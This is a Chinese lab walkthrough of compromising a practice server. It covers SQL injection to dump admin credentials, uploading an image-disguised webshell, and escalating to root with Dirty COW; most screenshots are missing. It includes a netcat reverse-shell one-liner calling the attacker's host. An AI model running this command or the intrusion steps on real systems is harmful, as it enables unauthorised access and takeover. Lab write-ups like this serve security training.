靶机渗透之peixun-server提权

攻击机：

主机发现：

信息收集：

端口详细信息:

尝试访问80端口，发现其有一web站点可以访问：

对url：http://192.168.11.128/storypage_04.php?id=115进行测试，检查是否有SQL注入漏洞：

报错，此处应该有注入点。

爆破数据库名：

得到该数据库的所有数据库名：information_schema,mysql,performance_schema,tcic,test

爆当前使用的数据库为tcic：

爆表名：

爆tcic_account的字段：

爆account和password的数据：

拿到管理员的账号密码。

然后扫描后台网址：

发现后台为http://192.168.11.128/back，尝试访问：

用之前获取到的管理员账号密码登录：

对后台各个功能进行使用，发现“首页管理系统”中的“新增大图”能上传图片，制作图片马上传，看看能不能用，成功：

用菜刀连接试试：

http://192.168.11.133/back/upload/banner_66.php

连接成功，拿到webshell（注：中途重装过peixun-server，故IP变为192.168.11.133）。

下面尝试提权。

蚁剑输入命令：

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.11.130 6666 >/tmp/f

然后在kali开启监听6666端口，反弹shell成功：

然后提权：

蚁剑上传dirty.c到服务器：

编译：

脏牛执行成功：

提权成功：

 

得到了root: